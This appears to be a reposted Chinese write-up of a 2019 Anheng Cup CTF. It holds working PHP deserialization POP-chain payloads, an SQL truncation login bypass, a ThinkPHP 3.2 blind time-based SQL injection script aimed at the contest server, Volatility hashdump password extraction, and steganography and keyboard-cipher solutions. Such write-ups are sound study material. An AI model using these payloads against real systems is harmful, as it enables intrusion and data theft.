2019安恒杯一月新春贺岁赛writeup

WEB

babyGo(提交你找到的字符串的md5值)

考点

php反序列化
POP链构造
<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  
  
class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

flag的输出在cool类中的read方法中,但是在baby类中调用的是sec类的read方法

POP链构造
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来
举例

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

在 lemo类中调用得的是 normal类 但是在 evil类 中也有在normal类中的相同方法名 action
这时可以构造poc链来调用 evil类 中的 action方法
payload:

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new evil();
    }

   
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data = "phpinfo()";
    function action() {
        eval($this->data);
    }
}
$a = new lemon;
echo serialize($a);

本题也是一道简单的POP链构造,注意的是
if($this->nice->aaa === $this->nice->bbb)
因为aaa和bbb一开为null 如果不构造amazing的话 实例化之后也为空 即可绕过if 判断
payload如下:

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new cool;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename="flag.php";     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  

$a = new baby;

echo serialize($a);

?>

另一种做法是看飘零师傅的

    $this->nice = unserialize($this->amzing);
    $this->nice->aaa = $sth;
    if($this->nice->aaa === $this->nice->bbb)

aaa会被$sth变量赋值 源码中也没出现这个变量 但同时又要与bbb相等
所以使用指针引用 这样bbb的值会随aaa动态改变
构造amazing

<?php  
@error_reporting(1); 
//include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new cool;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  

class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  



$a = new baby();

$a->bbb = &$a->aaa;

echo serialize($a);


于是
$amazing = O:4:"baby":3:{s:9:"*skyobj";O:4:"cool":3:{s:8:"filename";N;s:4:"nice";N;s:6:"amzing";N;}s:3:"aaa";N;s:3:"bbb";R:6;}

最终payload:

<?php  
class baby 
{   
    protected $skyobj;    
    public $aaa;
    public $bbb;
    function __construct() 
    {          
        $this->skyobj = new cool;   
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
        {
            return $this->skyobj->read();      
        }
    }  
}  
class cool 
{    
    public $filename='flag.php';     
    public $nice;
    public $amzing='O:4:"baby":3:{s:9:"<0x00>*<0x00>skyobj";O:4:"cool":3:{s:8:"filename";N;s:4:"nice";N;s:6:"amzing";N;}s:3:"aaa";N;s:3:"bbb";R:6;}'; 
}   
$a = new baby();
// $a->bbb =&$a->aaa;
echo (serialize($a));
?>

simple php

考点

sql约束攻击
TP注入

通过用御剑扫描,发现
robots.txt

User-agent: *

Disallow: /ebooks
Disallow: /admin
Disallow: /xhtml/?
Disallow: /center

发现有登录和注册页面

扫描二维码关注公众号,回复: 5094864 查看本文章

在这里插入图片描述进行注册后,然后进行登录却提示:
在这里插入图片描述
然后我们注册admin的账户
在这里插入图片描述
却提示用户已存在,那么现在可以想到注册部分有两个数据库查询操作:先select检测用户名是否存在,若不存在就进行数据库插入操作,若存在就注册失败。登录界面可能是select查询用户名和密码是否正确。这样一般攻击者就会进行注入测试,但是这里并不是想让攻击者在这注入然后拿到admin的密码,来看注册部分的代码select方法使用预处理机制+tp自带的转义,insert部分addslashes转义后入库,那么注册部分基本就不可能注入了。

在创建字段的时候 如果指定了 字段的长度 可以用sql约束攻击进行绕过
学习理解sql约束攻击可以参考这篇文章
https://www.freebuf.com/articles/web/124537.html

接下来注册账户admin ‘ (中间有n个空格),密码11111111

注册登入成功 发现是一个搜索框
在这里插入图片描述

发现是ThinkPHP3.2 框架
百度谷歌搜索 发现有此框架的sql注入漏洞
利用参数传入数组类型数据导致绕过过滤导致sql注入

具体参考:
https://xz.aliyun.com/t/2629#toc-2

?search[table]=flag where 1 and polygon(id)–
分别得到数据库名 表明 字段名

在这里插入图片描述
发现字段名是flag

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if(1,sleep(3),0)--

进行盲注测试 成功延迟
exp如下:

import requests
flag = ''
cookies = {
    'PHPSESSID': 're4g49sil8hfh4ovfrk7ln1o02'
}
for i in range(1,33):
    for j in '0123456789abcdef':
        url = 'http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if((ascii(substr((select flag from flag limit 0,1),'+str(i)+',1))='+str(ord(j))+'),sleep(3),0)--'
        try:
            r = requests.get(url=url,timeout=2.5,cookies=cookies)
        except:
            flag += j
            print flag
            break

得到flag

memory

考点

内存镜像分析
Volatility 的使用

Volatility是一款开源的,基于Python开发的内存取证工具集,可以分析内存中的各种数据。Volatility支持对32位或64位Wnidows、Linux、Mac、Android操作系统的RAM数据进行提取与分析。

volatility 使用:
volatility -f <文件名> --profile=<配置文件> <插件> [插件参数]

先使用imageinfo插件来猜测dump文件的profile值
在这里插入图片描述

得到类型为WinXPSP2x86

列举缓存在内存的注册表,找到system和sam key的起始位置 :

hivelist -f memory -profile=WinXPSP2x86

在这里插入图片描述

选择系统版本, 提取镜像用户信息

volatility -f memory --profile=WinXPSP2x86 hashdump

获得Administrator的NThash:c22b315c040ae6e0efee3518d830362b

得到密码123456789
MD5后提交

赢战2019

考点

foremost 的使用
binwalk  的使用
stegsolve 的使用

用foremost或者binwalk分离得到一张二维码
再用stegsolve进行分析得到flag

CRYPTO

键盘之争

考点

QWERTY键盘与Dvorak键盘

百度了一下 了解一下
就是该用QWERTY键盘还是Dvorak键盘
具体可看
http://www.ruanyifeng.com/blog/2006/11/disputation_of_keyboards_qwerty_or_dvorak.html
在这里插入图片描述
QWERTY键盘
在这里插入图片描述
由ypau_kjg;"g;"ypau+ 根据映射关系 可得到flag
在线解密网址
http://wbic16.xedoloh.com/dvorak.html
在这里插入图片描述

参考

https://www.anquanke.com/post/id/170341
https://www.freebuf.com/articles/web/124537.html
https://xz.aliyun.com/t/2629
https://www.freebuf.com/column/152545.html

猜你喜欢

转载自blog.csdn.net/qq_30464257/article/details/86654655
今日推荐